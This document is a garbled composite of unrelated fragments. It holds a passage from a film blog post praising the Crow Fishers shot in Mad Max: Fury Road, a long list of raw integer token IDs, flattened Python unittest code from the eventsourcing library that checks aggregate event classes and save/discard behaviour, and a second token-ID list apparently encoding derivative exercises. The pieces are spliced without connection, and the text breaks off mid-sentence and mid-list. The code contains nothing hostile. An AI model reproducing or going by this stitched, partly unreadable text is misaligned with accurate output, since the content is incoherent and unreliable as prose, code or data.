film. For me, the outstanding mesmerizing action was overshadowed by the intricate world-building that George Miller performed in the film. Yes I loved the action and the characters (I have nicknamed my niece Furiosa), but the hints at the world left behind and those lost or forgotten were incredibly enticing and profound. I wanted to learn more about this destroyed world and its inhabitants. One such group of people are the Crow Fishers, the stilt-walking cloaked entities slowly maneuvering through the bog. When the film cut to the shot seen in the still above, I first thought that these must be the only remnants of trees in this world. Then the things I first interpreted as trees began to move, began to traverse the bog, began to look at our heroes driving in the background. “Whoa”. That’s all I said. My mouth opened up, the word escaped, and I smiled and almost laughed at myself. For anyone who knows me personally, I am typically very quiet as I watch films, I rarely talk and I find it very annoying when others talk over a film or a television show. But during this quick shot, I had to exclaim my awe. “Whoa”, what a shot. This shot is quick and over in an instant. There are no other references to these mysterious people. I only learned that they are called “Crow Fishers” thanks to the Wiki. But as I witnessed their brief silhouetted appearance, I had to know who they were and what they were doing. With that one shot, I inferred that these people had to use feathers and

[ 9, 35619, 1747, 366, 18, 15, 21831, 13073, 582, 9400, 10, 187, 50270, 1286, 15, 34046, 9, 31327, 64, 24841, 9, 24841, 582, 32516, 1747, 366, 18, 15, 21831, 13073, 10, 187, 50270, 1286, 15, 8271, 5088, 9, 739, 538, 2437, 9, 35619, 1747, 366, 18, 15, 21831, 13073, 13, 32516, 1747, 366, 18, 15, 5949, 1228, 535, 50270, 1286, 15, 34046, 9, 35619, 1747, 366, 18, 15, 16698, 32331, 24856, 1590, 30738, 346, 16698, 32331, 2807, 187, 50270, 1286, 15, 34046, 9, 187, 50266, 35619, 1747, 366, 18, 15, 16698, 32331, 24856, 15847, 1590, 30738, 346, 35619, 1747, 366, 18, 15, 16698, 32331, 3, 187, 50270, 10, 187, 50270, 24841, 426, 313, 187, 50266, 3, 20969, 40883, 15, 19453, 15, 6443, 64, 19453, 15, 2566, 64, 46601, 366, 64, 9723, 4, 35619, 1747, 366, 18, 3, 187, 50266, 3446, 16698, 32331, 3, 187, 50270, 10, 187, 50270, 1286, 15, 34046, 9, 788, 64, 24841, 9, 35619, 1747, 366, 18, 15, 16698, 32331, 582, 9400, 10, 187, 50270, 1286, 15, 34046, 9, 31327, 64, 24841, 9, 24841, 582, 32516, 1747, 366, 18, 15, 16698, 32331, 10, 187, 50270, 1286, 15, 8271, 5088, 9, 739, 538, 2437, 9, 35619, 1747, 366, 18, 15, 16698, 32331, 13, 32516, 1747, 366, 18, 15, 5949, 1228, 187, 50270, 1286, 15, 8271, 5088, 9, 739, 538, 2437, 9, 35619, 1747, 366, 18, 15, 19234, 45953, 26600, 15064, 13, 32516, 1747, 366, 18, 15, 5949, 1228, 535, 50274, 1545, 1071, 64, 46601, 366, 19, 64, 8045, 64, 19770, 9, 1286, 2262, 187, 50270, 1286, 15, 8271, 688, 1587, 5949, 995, 32516, 1747, 366, 19, 24856, 8102, 32350, 187, 50270, 1286, 15, 8271, 688, 1587, 32331, 995, 32516, 1747, 366, 19, 24856, 8102, 32350, 187, 50270, 1286, 15, 8271, 688, 1587, 21831, 13073, 995, 32516, 1747, 366, 19, 24856, 8102, 32350, 187, 50270, 1286, 15, 8271, 688, 1587, 11756, 17196, 995, 32516, 1747, 366, 19, 24856, 8102, 32350, 535, 50270, 1286, 15, 34046, 9, 35619, 1747, 366, 19, 15, 5949, 24856, 1590, 30738, 346, 5949, 2807, 187, 50270, 1286, 15, 34046, 9, 35619, 1747, 366, 19, 15, 5949, 24856, 15847, 1590, 30738, 346, 35619, 1747, 366, 19, 15, 5949, 2807, 187, 50270, 24841, 426, 346, 20969, 40883, 15, 19453, 15, 6443, 64, 19453, 15, 2566, 64, 46601, 366, 64, 9723, 4, 35619, 1747, 366, 19, 15, 5949, 3, 187, 50270, 1286, 15, 34046, 9, 788, 64, 24841, 9, 35619, 1747, 366, 19, 15, 5949, 582, 9400, 10, 187, 50270, 1286, 15, 34046, 9, 31327, 64, 24841, 9, 24841, 582, 32516, 1747, 366, 19, 15, 5949, 10, 535, 50270, 1286, 15, 34046, 9, 35619, 1747, 366, 19, 15, 32331, 24856, 1590, 30738, 346, 32331, 2807, 187, 50270, 1286, 15, 34046, 9, 35619, 1747, 366, 19, 15, 32331, 24856, 15847, 1590, 30738, 346, 35619, 1747, 366, 19, 15, 32331, 2807, 187, 50270, 24841, 426, 346, 20969, 40883, 15, 19453, 15, 6443, 64, 19453, 15, 2566, 64, 46601, 366, 64, 9723, 4, 35619, 1747, 366, 19, 15, 32331, 3, 187, 50270, 1286, 15, 34046, 9, 788, 64, 24841, 9, 35619, 1747, 366, 19, 15, 32331, 582, 9400, 10, 187, 50270, 1286, 15, 34046, 9, 31327, 64, 24841, 9, 24841, 582, 32516, 1747, 366, 19, 15, 32331, 10, 187, 50270, 1286, 15, 8271, 5088, 9, 739, 538, 2437, 9, 35619, 1747, 366, 19, 15, 32331, 13, 32516, 1747, 366, 19, 15, 5949, 1228, 535, 50270, 1286, 15, 34046, 9, 35619, 1747, 366, 19, 15, 21831, 13073, 24856, 1590, 30738, 346, 21831, 13073, 2807, 187, 50270, 1286, 15, 34046, 9, 35619, 1747, 366, 19, 15, 21831, 13073, 24856, 15847, 1590, 30738, 346, 35619, 1747, 366, 19, 15, 21831, 13073, 2807, 187, 50270, 24841, 426, 313, 187, 50266, 3, 20969, 40883, 15, 19453, 15, 6443, 64, 19453, 15, 2566, 64, 46601, 366, 64, 9723, 4, 35619, 1747, 366, 19, 3, 22746, 21831, 13073, 3, 187, 50270, 10, 187, 50270, 1286, 15, 34046, 9, 788, 64, 24841, 9, 35619, 1747, 366, 19, 15, 21831, 13073, 582, 9400, 10, 187, 50270, 1286, 15, 34046, 9, 31327, 64, 24841, 9, 24841, 582, 32516, 1747, 366, 19, 15, 21831, 13073, 10, 187, 50270, 1286, 15, 8271, 5088, 9, 739, 538, 2437, 9, 35619, 1747, 366, 19, 15, 21831, 13073, 13, 32516, 1747, 366, 19, 15, 5949, 1228, 535, 50270, 1286, 15, 34046, 9, 35619, 1747, 366, 19, 15, 16698, 32331, 24856, 1590, 30738, 346, 16698, 32331, 2807, 187, 50270, 1286, 15, 34046, 9, 187, 50266, 35619, 1747, 366, 19, 15, 16698, 32331, 24856, 15847, 1590, 30738, 346, 35619, 1747, 366, 19, 15, 16698, 32331, 3, 187, 50270, 10, 187, 50270, 24841, 426, 313, 187, 50266, 3, 20969, 40883, 15, 19453, 15, 6443, 64, 19453, 15, 2566, 64, 46601, 366, 64, 9723, 4, 35619, 1747, 366, 19, 3, 187, 50266, 3446, 16698, 32331, 3, 187, 50270, 10, 187, 50270, 1286, 15, 34046, 9, 788, 64, 24841, 9, 35619, 1747, 366, 19, 15, 16698, 32331, 582, 9400, 10, 187, 50270, 1286, 15, 34046, 9, 31327, 64, 24841, 9, 24841, 582, 32516, 1747, 366, 19, 15, 16698, 32331, 10, 187, 50270, 1286, 15, 8271, 5088, 9, 739, 538, 2437, 9, 35619, 1747, 366, 19, 15, 16698, 32331, 13, 32516, 1747, 366, 19, 15, 5949, 1228, 535, 50274, 1545, 1071, 64, 46601, 366, 20, 64, 6458, 34356, 9, 1286, 2262, 187, 50270, 4, 1511, 27, 6734, 5204, 8256, 535, 50270, 4, 13119, 247, 747, 19737, 15, 187, 50270, 46601, 366, 426, 1881, 15, 1212, 15, 6953, 64, 46601, 366, 20, 1082, 535, 50270, 1286, 15, 8271, 2513, 11257, 9, 46601, 366, 13, 32516, 1747, 366, 20, 10, 535, 50274, 1545, 1071, 64, 46601, 366, 18, 64, 6458, 34356, 9, 1286, 2262, 187, 50270, 4, 1511, 27, 6734, 5204, 8256, 535, 50270, 4, 13119, 247, 747, 19737, 15, 187, 50270, 46601, 366, 426, 1881, 15, 1212, 15, 6953, 64, 46601, 366, 18, 1082, 535, 50270, 1286, 15, 8271, 2513, 11257, 9, 46601, 366, 13, 32516, 1747, 366, 18, 10, 535, 50270, 4, 9423, 352, 434, 1694, 247, 1481, 13283, 15, 187, 50270, 1286, 15, 8271, 5088, 9, 46601, 366, 24856, 2522, 32350, 187, 50270, 6275, 64, 8384, 64, 13362, 426, 19737, 24856, 2522, 876, 535, 50270, 4, 9423, 352, 1057, 417, 2226, 275, 253, 18491, 15, 187, 50270, 1286, 15, 8271, 3650, 688, 9, 46601, 366, 15, 301, 13, 1881, 15, 1212, 15, 37498, 10, 535, 50270, 4, 23017, 253, 19737, 15, 187, 50270, 46601, 366, 24856, 15261, 876, 1082, 535, 50270, 4, 9423, 352, 1024, 4961, 275, 253, 18491, 15, 187, 50270, 1286, 15, 8271, 688, 9, 46601, 366, 15, 301, 13, 1881, 15, 1212, 15, 37498, 10, 535, 50270, 4, 15836, 271, 11104, 273, 253, 19737, 5230, 10726, 15, 187, 50270, 1286, 15, 8271, 3650, 12827, 9, 46601, 366, 15, 12110, 13, 346, 2009, 2807, 187, 50270, 46601, 366, 15, 12110, 426, 346, 2009, 3, 187, 50270, 1286, 15, 34046, 9, 46601, 366, 15, 12110, 13, 346, 2009, 2807, 535, 50270, 4, 9423, 253, 1481, 13283, 556, 4391, 15, 187, 50270, 1286, 15, 8271, 3650, 12827, 9, 46601, 366, 24856, 2522, 30738, 1390, 64, 8384, 64, 13362, 10, 187, 50270, 6275, 64, 8384, 64, 13362, 426, 19737, 24856, 2522, 876, 535, 50270, 1286, 15, 8271, 688, 9, 46601, 366, 15, 301, 13, 1881, 15, 1212, 15, 37498, 10, 535, 50270, 1286, 15, 8271, 3650, 12827, 9, 1286, 15, 1212, 15, 37498, 60, 46601, 366, 15, 301, 1570, 12110, 13, 346, 2009, 2807, 187, 50270, 46601, 366, 24856, 15261, 876, 1082, 187, 50270, 1286, 15, 34046, 9, 1286, 15, 1212, 15, 37498, 60, 46601, 366, 15, 301, 1570, 12110, 13, 346, 2009, 2807, 535, 50270, 4, 9423, 253, 19737, 556, 5058, 14429, 15, 187, 50270, 1286, 15, 34046, 9, 46601, 366, 15, 5560, 64, 32045, 5715, 470, 10, 535, 50270, 4, 9423, 253, 19737, 556, 5058, 14429, 15, 187, 50270, 1286, 15, 34046, 9, 46601, 366, 15, 5560, 64, 32045, 5715, 470, 10, 535, 50270, 4, 26659, 253, 19737, 281, 2794, 271, 10726, 1561, 3139, 15, 187, 50270, 46601, 366, 15, 6953, 64, 1826, 64, 11667, 1082, 535, 50270, 4, 9423, 253, 19737, 556, 581, 10726, 15, 187, 50270, 1286, 15, 34046, 9, 46601, 366, 15, 5560, 64, 32045, 5715, 337, 10, 535, 50270, 4, 9423, 253, 19737, 275, 253, 30905, 1335, 556, 5058, 14429, 15, 187, 50270, 1286, 15, 34046, 9, 187, 50266, 1286, 15, 1212, 15, 37498, 60, 46601, 366, 15, 301, 1570, 5560, 64, 32045, 5715, 470, 187, 50270, 10, 535, 50270, 4, 9423, 253, 1481, 13283, 556, 4391, 15, 187, 50270, 1286, 15, 8271, 3650, 12827, 9, 46601, 366, 24856, 2522, 30738, 1390, 64, 8384, 64, 13362, 10, 187, 50270, 6275, 64, 8384, 64, 13362, 426, 19737, 24856, 2522, 876, 535, 50270, 4, 9368, 5321, 5023, 187, 50270, 46601, 366, 24856, 15261, 876, 1082, 535, 50270, 4, 9423, 253, 19737, 275, 253, 30905, 1024, 556, 581, 10726, 15, 187, 50270, 1286, 15, 34046, 9, 187, 50266, 1286, 15, 1212, 15, 37498, 60, 46601, 366, 15, 301, 1570, 5560, 64, 32045, 5715, 337, 187, 50270, 10, 535, 50270, 4, 13119, 767, 625, 14429, 1561, 253, 19737, 15, 187, 50270, 46601, 366, 15, 6953, 64, 1826, 64, 11667, 1082, 187, 50270, 46601, 366, 15, 6953, 64, 1826, 64, 11667, 1082, 535, 50270, 4, 23017, 1097, 346, 21294, 3562, 3, 3394, 275, 581, 13805, 9996, 15, 187, 50270, 46601, 366, 24856, 15261, 876, 1082, 535, 50270, 4, 9423, 253, 19737, 275, 253, 30905, 1024, 556, 1264, 14429, 15, 187, 50270, 1286, 15, 34046, 9, 187, 50266, 1286, 15, 1212, 15, 37498, 60, 46601, 366, 15, 301, 1570, 5560, 64, 32045, 5715, 495, 187, 50270, 10, 535, 50270, 4, 15292, 472, 253, 19737, 13, 5841, 5321, 5023, 187, 50270, 46601, 366, 24856, 12722, 472, 876, 1082, 187, 50270, 46601, 366, 24856, 15261, 876, 1082, 535, 50270, 4, 9423, 253, 1735, 13283, 556, 4391, 15, 187, 50270, 1286, 15, 8271, 3650, 12827, 9, 46601, 366, 24856, 2522, 30738, 1390, 64, 8384, 64, 13362, 10, 535, 50270, 4, 9423, 253, 19737, 642, 3356, 4961, 275, 253, 30905, 15, 187, 50270, 1286, 15, 8271, 3650, 688, 9, 46601, 366, 15, 301, 13, 1881, 15, 1212, 15, 37498, 10, 535, 50274, 1545, 1071, 64, 15617, 64, 10706, 9, 1286, 2262, 187, 50270, 4, 13119, 247, 747, 19737, 15, 187, 50270, 46601, 366, 18, 426, 1881, 15, 1212, 15, 6953, 64, 46601, 366, 18, 1082, 187, 50270, 46601, 366, 19, 426, 1881, 15, 1212, 15, 6953, 64, 46601, 366, 19, 1082, 535, 50270, 46601, 366, 18, 24856, 15261, 876, 1082, 187, 50270, 46601, 366, 19, 24856, 15261, 876, 1082, 535, 50270, 1286, 15, 8271, 2513, 11257, 9, 46601, 366, 18, 13, 32516, 1747, 366, 18, 10, 187, 50270, 1286, 15, 8271, 2513, 11257, 9, 46601, 366, 19, 13, 32516, 1747, 366, 19, 10, 535, 50270, 1286, 15, 34046, 9, 46601, 366, 18, 15, 12110, 13, 41956, 187, 50270, 1286, 15, 34046, 9, 46601, 366, 19, 15, 12110, 13, 41956, 535, 50270, 46601, 366, 18, 15, 12110, 426, 346, 2009, 3, 187, 50270, 46601, 366, 19, 15, 12110, 426, 346, 31953, 3, 535, 50270, 46601, 366, 18, 24856, 15261, 876, 1082, 187, 50270, 46601, 366, 19, 24856, 15261, 876, 1082, 535, 50270, 46601, 366, 18, 426, 1881, 15, 1212, 15, 37498, 60, 46601, 366, 18, 15, 301, 62, 187, 50270, 46601, 366, 19, 426, 1881, 15, 1212, 15, 37498, 60, 46601, 366, 19, 15, 301, 62, 535, 50270, 1286, 15, 8271, 2513, 11257, 9, 46601, 366, 18, 13, 32516, 1747, 366, 18, 10, 187, 50270, 1286, 15, 8271, 2513, 11257, 9, 46601, 366, 19, 13, 32516, 1747, 366, 19, 10, 535, 50270, 1286, 15, 34046, 9, 46601, 366, 18, 15, 12110, 13, 346, 2009, 2807, 187, 50270, 1286, 15, 34046, 9, 46601, 366, 19, 15, 12110, 13, 346, 31953, 2807, 535, 50270, 46601, 366, 18, 24856, 12722, 472, 876, 1082, 187, 50270, 46601, 366, 18, 24856, 15261, 876, 1082, 187, 50270, 1286, 15, 8271, 5653, 9, 46601, 366, 18, 15, 301, 275, 1881, 15, 1212, 15, 37498, 10, 187, 50270, 1286, 15, 8271, 5088, 9, 46601, 366, 19, 15, 301, 275, 1881, 15, 1212, 15, 37498, 10, 535, 50274, 1545, 1071, 64, 30716, 64, 35065, 64, 13362, 64, 3775, 9, 1286, 2262, 187, 50270, 4, 9423, 2362, 556, 3588, 6510, 1080, 1481, 15, 187, 50270, 46601, 366, 426, 32516, 1747, 366, 18, 9, 301, 568, 18 ]

(Aggregate1.Discarded), topic) self.assertEqual(resolve_topic(topic), Aggregate1.Discarded) self.assertTrue(issubclass(Aggregate1.Discarded, Aggregate1.Event)) self.assertEqual(Aggregate1.ExampleCreated.__name__, "ExampleCreated") self.assertEqual( Aggregate1.ExampleCreated.__qualname__, "Aggregate1.ExampleCreated" ) topic = ( "eventsourcing.tests.core_tests.test_aggregate_root#Aggregate1" ".ExampleCreated" ) self.assertEqual(get_topic(Aggregate1.ExampleCreated), topic) self.assertEqual(resolve_topic(topic), Aggregate1.ExampleCreated) self.assertTrue(issubclass(Aggregate1.ExampleCreated, Aggregate1.Event)) self.assertTrue(issubclass(Aggregate1.SomethingElseOccurred, Aggregate1.Event)) def test_aggregate2_event_classes(self): self.assertIn("Event", Aggregate2.__dict__) self.assertIn("Created", Aggregate2.__dict__) self.assertIn("Discarded", Aggregate2.__dict__) self.assertIn("AttributeChanged", Aggregate2.__dict__) self.assertEqual(Aggregate2.Event.__name__, "Event") self.assertEqual(Aggregate2.Event.__qualname__, "Aggregate2.Event") topic = "eventsourcing.tests.core_tests.test_aggregate_root#Aggregate2.Event" self.assertEqual(get_topic(Aggregate2.Event), topic) self.assertEqual(resolve_topic(topic), Aggregate2.Event) self.assertEqual(Aggregate2.Created.__name__, "Created") self.assertEqual(Aggregate2.Created.__qualname__, "Aggregate2.Created") topic = "eventsourcing.tests.core_tests.test_aggregate_root#Aggregate2.Created" self.assertEqual(get_topic(Aggregate2.Created), topic) self.assertEqual(resolve_topic(topic), Aggregate2.Created) self.assertTrue(issubclass(Aggregate2.Created, Aggregate2.Event)) self.assertEqual(Aggregate2.Discarded.__name__, "Discarded") self.assertEqual(Aggregate2.Discarded.__qualname__, "Aggregate2.Discarded") topic = ( "eventsourcing.tests.core_tests.test_aggregate_root#Aggregate2" ".Discarded" ) self.assertEqual(get_topic(Aggregate2.Discarded), topic) self.assertEqual(resolve_topic(topic), Aggregate2.Discarded) self.assertTrue(issubclass(Aggregate2.Discarded, Aggregate2.Event)) self.assertEqual(Aggregate2.ExampleCreated.__name__, "ExampleCreated") self.assertEqual( Aggregate2.ExampleCreated.__qualname__, "Aggregate2.ExampleCreated" ) topic = ( "eventsourcing.tests.core_tests.test_aggregate_root#Aggregate2" ".ExampleCreated" ) self.assertEqual(get_topic(Aggregate2.ExampleCreated), topic) self.assertEqual(resolve_topic(topic), Aggregate2.ExampleCreated) self.assertTrue(issubclass(Aggregate2.ExampleCreated, Aggregate2.Event)) def test_aggregate3_lifecycle(self): # type: () -> None # Create a new aggregate. aggregate = self.app.create_aggregate3() self.assertIsInstance(aggregate, Aggregate3) def test_aggregate1_lifecycle(self): # type: () -> None # Create a new aggregate. aggregate = self.app.create_aggregate1() self.assertIsInstance(aggregate, Aggregate1) # Check it's got a head hash. self.assertTrue(aggregate.__head__) last_next_hash = aggregate.__head__ # Check it does not exist in the repository. self.assertNotIn(aggregate.id, self.app.repository) # Save the aggregate. aggregate.__save__() # Check it now exists in the repository. self.assertIn(aggregate.id, self.app.repository) # Change an attribute of the aggregate root entity. self.assertNotEqual(aggregate.foo, "bar") aggregate.foo = "bar" self.assertEqual(aggregate.foo, "bar") # Check the head hash has changed. self.assertNotEqual(aggregate.__head__, last_next_hash) last_next_hash = aggregate.__head__ self.assertIn(aggregate.id, self.app.repository) self.assertNotEqual(self.app.repository[aggregate.id].foo, "bar") aggregate.__save__() self.assertEqual(self.app.repository[aggregate.id].foo, "bar") # Check the aggregate has zero entities. self.assertEqual(aggregate.count_examples(), 0) # Check the aggregate has zero entities. self.assertEqual(aggregate.count_examples(), 0) # Ask the aggregate to create an entity within itself. aggregate.create_new_example() # Check the aggregate has one entity. self.assertEqual(aggregate.count_examples(), 1) # Check the aggregate in the repo still has zero entities. self.assertEqual( self.app.repository[aggregate.id].count_examples(), 0 ) # Check the head hash has changed. self.assertNotEqual(aggregate.__head__, last_next_hash) last_next_hash = aggregate.__head__ # Call save(). aggregate.__save__() # Check the aggregate in the repo now has one entity. self.assertEqual( self.app.repository[aggregate.id].count_examples(), 1 ) # Create two more entities within the aggregate. aggregate.create_new_example() aggregate.create_new_example() # Save both "entity created" events in one atomic transaction. aggregate.__save__() # Check the aggregate in the repo now has three entities. self.assertEqual( self.app.repository[aggregate.id].count_examples(), 3 ) # Discard the aggregate, calls save(). aggregate.__discard__() aggregate.__save__() # Check the next hash has changed. self.assertNotEqual(aggregate.__head__, last_next_hash) # Check the aggregate no longer exists in the repo. self.assertNotIn(aggregate.id, self.app.repository) def test_both_types(self): # Create a new aggregate. aggregate1 = self.app.create_aggregate1() aggregate2 = self.app.create_aggregate2() aggregate1.__save__() aggregate2.__save__() self.assertIsInstance(aggregate1, Aggregate1) self.assertIsInstance(aggregate2, Aggregate2) self.assertEqual(aggregate1.foo, "") self.assertEqual(aggregate2.foo, "") aggregate1.foo = "bar" aggregate2.foo = "baz" aggregate1.__save__() aggregate2.__save__() aggregate1 = self.app.repository[aggregate1.id] aggregate2 = self.app.repository[aggregate2.id] self.assertIsInstance(aggregate1, Aggregate1) self.assertIsInstance(aggregate2, Aggregate2) self.assertEqual(aggregate1.foo, "bar") self.assertEqual(aggregate2.foo, "baz") aggregate1.__discard__() aggregate1.__save__() self.assertFalse(aggregate1.id in self.app.repository) self.assertTrue(aggregate2.id in self.app.repository) def test_validate_previous_hash_error(self): # Check event has valid originator head. aggregate = Aggregate1(id="1

[ 11, 71, 11, 81, 11, 86, 424, 20, 559, 3285, 11, 71, 11, 81, 11, 86, 428, 269, 11, 86, 424, 20, 428, 374, 11, 81, 11, 86, 559, 268, 559, 608, 11, 86, 424, 20, 8772, 269, 15, 187, 19, 11, 81, 11, 86, 424, 20, 559, 3285, 11, 81, 11, 86, 428, 1484, 424, 20, 187, 1276, 310, 253, 2626, 4309, 273, 32900, 11, 74, 424, 21, 428, 854, 11, 74, 424, 19, 559, 6480, 11, 74, 32, 187, 2082, 3121, 11, 74, 187, 9867, 253, 2626, 4309, 273, 577, 11, 67, 11, 80, 424, 22, 428, 9199, 11, 67, 11, 80, 424, 19, 428, 43138, 11, 80, 424, 23, 559, 495, 11, 80, 424, 19, 8772, 258, 15, 187, 14028, 11, 67, 11, 80, 424, 19, 428, 818, 3208, 361, 11, 80, 424, 20, 187, 9867, 253, 806, 4309, 273, 374, 11, 77, 424, 21, 559, 6480, 11, 77, 424, 20, 559, 2030, 11, 77, 428, 27518, 3583, 15, 187, 25, 11, 77, 424, 20, 559, 11601, 11, 77, 424, 19, 559, 2030, 187, 1276, 310, 253, 1273, 4309, 273, 23412, 19, 11, 73, 424, 20, 428, 374, 11, 73, 559, 23504, 32, 187, 24558, 805, 11, 73, 187, 1276, 310, 253, 2626, 4309, 273, 428, 23, 17391, 11, 80, 424, 20, 559, 608, 11, 80, 424, 19, 559, 41206, 11, 80, 32, 187, 14, 1787, 20520, 187, 9867, 253, 806, 4309, 273, 428, 20, 11, 78, 11, 88, 11, 89, 424, 19, 559, 1384, 3677, 11, 78, 11, 88, 428, 374, 11, 78, 11, 89, 428, 9901, 11, 89, 424, 19, 428, 854, 11, 89, 8772, 259, 15, 187, 14, 20, 11, 78, 11, 89, 424, 19, 559, 1384, 3677, 11, 78, 187, 9867, 253, 2626, 4309, 273, 428, 83, 11, 85, 424, 20, 11, 91, 424, 20, 428, 608, 11, 83, 11, 85, 424, 20, 11, 91, 428, 2145, 11, 83, 11, 85, 424, 19, 11, 91, 424, 20, 428, 721, 11, 83, 11, 85, 11, 91, 428, 898, 11, 85, 424, 20, 11, 91, 424, 20, 559, 246, 424, 19, 11, 91, 424, 19, 8772, 246, 15, 187, 14, 23, 11, 83, 11, 91, 424, 20, 428, 1884, 11, 83, 11, 91, 428, 8255, 11, 91, 424, 20, 187, 1276, 310, 253, 806, 4309, 273, 374, 11, 71, 424, 19, 11, 81, 424, 20, 559, 27648, 11, 71, 11, 81, 424, 20, 559, 24521, 11, 81, 424, 20, 8772, 269, 32, 187, 21, 11, 71, 11, 81, 424, 20, 559, 27648, 11, 81, 424, 20, 187, 9867, 253, 2626, 4309, 273, 374, 11, 74, 11, 80, 11, 88, 424, 21, 11, 90, 428, 608, 11, 74, 11, 80, 11, 88, 424, 20, 11, 90, 559, 721, 11, 74, 11, 80, 11, 88, 424, 20, 428, 374, 11, 74, 11, 80, 11, 88, 424, 19, 11, 90, 428, 608, 11, 74, 11, 80, 11, 88, 11, 90, 428, 374, 11, 74, 11, 88, 424, 19, 428, 818, 11, 88, 424, 19, 11, 90, 559, 374, 11, 90, 8772, 259, 15, 187, 2385, 11, 74, 11, 80, 11, 88, 11, 90, 428, 1884, 11, 74, 11, 80, 11, 90, 559, 5540, 11, 74, 11, 80, 187, 9867, 253, 2626, 4309, 273, 428, 86, 424, 21, 428, 374, 11, 86, 424, 20, 11, 89, 428, 1484, 424, 20, 559, 495, 11, 86, 424, 19, 11, 89, 559, 721, 11, 86, 11, 89, 559, 577, 11, 89, 8772, 1484, 15, 187, 14, 1348, 11, 86, 428, 1249, 11, 89, 428, 721, 187, 9867, 253, 2626, 4309, 273, 4567, 11, 83, 424, 20, 559, 4567, 11, 83, 424, 19, 559, 655, 11, 83, 8772, 391, 15, 187, 14403, 187, 41124, 3495, 11, 77, 11, 85, 424, 19, 11, 90, 559, 374, 11, 77, 11, 85, 424, 19, 428, 298, 559, 608, 11, 85, 424, 20, 11, 90, 559, 7652, 11, 85, 424, 20, 8772, 340, 15, 187, 1508, 11, 77, 11, 85, 424, 19, 559, 608, 11, 85, 424, 20, 187, 9867, 253, 2626, 4309, 273, 480, 424, 20, 11, 77, 424, 20, 559, 9654, 11, 75, 424, 20, 11, 77, 428, 3307, 11, 75, 424, 19, 11, 77, 424, 20, 428, 495, 11, 75, 424, 19, 11, 77, 424, 19, 8772, 480, 15, 187, 23, 11, 77, 424, 20, 559, 38316, 11, 77, 187, 9867, 253, 806, 4309, 273, 854, 4196, 11, 84, 424, 19, 11, 85, 424, 20, 559, 256, 424, 19, 559, 246, 424, 20, 559, 38820, 11, 85, 8772, 256, 15, 187, 1166, 4529, 11, 84, 11, 85, 424, 20, 559, 374, 11, 84, 187, 9867, 253, 1273, 4309, 273, 428, 19, 11, 75, 424, 22, 428, 12708, 11, 75, 424, 21, 559, 495, 11, 75, 424, 19, 428, 12446, 11, 75, 428, 9934, 8772, 480, 15, 187, 14, 1449, 11, 75, 424, 20, 428, 1249, 3547, 11, 75, 424, 19, 559, 721, 187, 1276, 310, 253, 1273, 4309, 273, 818, 33847, 11, 80, 424, 19, 428, 11422, 11, 80, 428, 1722, 8772, 258, 32, 187, 1010, 21397, 187, 9867, 253, 1273, 4309, 273, 5345, 2055, 11, 78, 424, 20, 428, 721, 27122, 11, 78, 8772, 278, 15, 187, 20785, 1619, 11, 78, 187, 9867, 253, 2626, 4309, 273, 428, 18040, 11, 84, 424, 22, 559, 22287, 11, 84, 424, 19, 15, 187, 14, 10683, 1549, 11, 84, 424, 19, 187, 1276, 310, 253, 4309, 273, 428, 1449, 2222, 11, 77, 559, 8255, 1839, 8772, 298, 32, 187, 14, 1449, 2222, 187, 9867, 253, 2626, 4309, 273, 32455, 11, 83, 424, 21, 428, 818, 11, 83, 424, 20, 559, 2233, 11, 83, 424, 19, 559, 1458, 15, 187, 23, 21340, 11, 83, 428, 5976, 187, 1276, 310, 253, 806, 4309, 273, 428, 39069, 11, 71, 428, 29754, 8772, 269, 32, 187, 14, 39069, 187, 9867, 253, 806, 4309, 273, 428, 2090, 3677, 11, 76, 428, 25305, 1235, 8772, 465, 15, 187, 14, 2090, 3677, 187, 41124, 428, 883, 11, 66, 424, 20, 11, 83, 424, 20, 559, 577, 11, 66, 424, 20, 11, 83, 559, 5325, 11, 83, 424, 20, 8772, 247, 15, 187, 14, 1610, 11, 66, 424, 19, 11, 83, 424, 20, 559, 1249, 11, 66, 424, 19, 11, 83, 187, 1276, 310, 253, 4309, 273, 495, 11, 73, 424, 20, 11, 89, 559, 19956, 11, 73, 424, 20, 428, 374, 11, 73, 424, 19, 11, 89, 424, 19, 428, 1903, 11, 89, 8772, 1269, 32, 187, 20, 11, 73, 424, 20, 428, 577, 11, 73, 424, 19, 11, 89, 428, 1903, 187, 1276, 310, 253, 2626, 4309, 273, 27518, 11, 74, 424, 20, 428, 884, 3141, 11, 74, 424, 19, 8772, 891, 32, 187, 1047, 1619, 187, 9867, 253, 2626, 4309, 273, 247, 424, 23, 11, 74, 424, 20, 559, 898, 11, 66, 424, 20, 11, 74, 424, 20, 559, 374, 11, 66, 424, 19, 11, 74, 424, 20, 428, 1384, 11, 66, 424, 19, 8772, 247, 15, 187, 8193, 11, 66, 424, 20, 11, 74, 424, 20, 559, 8255, 11, 74, 424, 20, 187, 1276, 310, 253, 2626, 4309, 273, 428, 1423, 11, 73, 424, 20, 11, 81, 424, 20, 428, 374, 11, 73, 424, 20, 559, 374, 11, 73, 424, 19, 11, 81, 424, 20, 428, 577, 11, 73, 424, 19, 559, 495, 11, 81, 424, 20, 8772, 288, 32, 187, 14, 14783, 11, 81, 424, 20, 428, 1249, 187, 9867, 253, 806, 4309, 273, 608, 27385, 11, 80, 424, 20, 11, 87, 424, 19, 428, 898, 24803, 11, 87, 424, 19, 8772, 258, 15, 187, 1010, 35410, 11, 80, 424, 19, 11, 87, 424, 19, 187, 9867, 253, 2626, 4309, 273, 898, 11, 72, 424, 20, 11, 82, 424, 20, 559, 495, 25133, 11, 72, 424, 20, 428, 2164, 11, 72, 424, 19, 11, 82, 424, 20, 428, 577, 11, 72, 11, 82, 424, 20, 559, 374, 11, 72, 11, 82, 424, 19, 8772, 2805, 15, 187, 3439, 11, 72, 424, 20, 428, 18836, 11, 72, 424, 19, 428, 2164, 11, 72, 187, 1276, 310, 253, 1273, 4309, 273, 1458, 11, 91, 424, 19, 559, 577, 11, 91, 428, 2164, 8772, 1182, 32, 187, 1229, 187, 1276, 310, 253, 4309, 273, 428, 74, 424, 19, 11, 91, 559, 608, 11, 74, 424, 19, 428, 11681, 11, 74, 11, 91, 559, 21807, 11, 74, 428, 3495, 11, 91, 428, 374, 8772, 1182, 32, 187, 14, 74, 424, 19, 428, 11681, 11, 74, 428, 3495, 187, 1276, 310, 253, 806, 4309, 273, 428, 30176, 20, 11, 82, 424, 21, 559, 26249, 3593, 32, 187, 14, 746, 12522, 11, 82, 424, 20, 187, 1276, 310, 253, 2626, 4309, 273, 428, 2385, 11, 80, 424, 20, 428, 12131, 11, 80, 424, 19, 32, 187, 14, 21340, 187, 1276, 310, 253, 2626, 4309, 273, 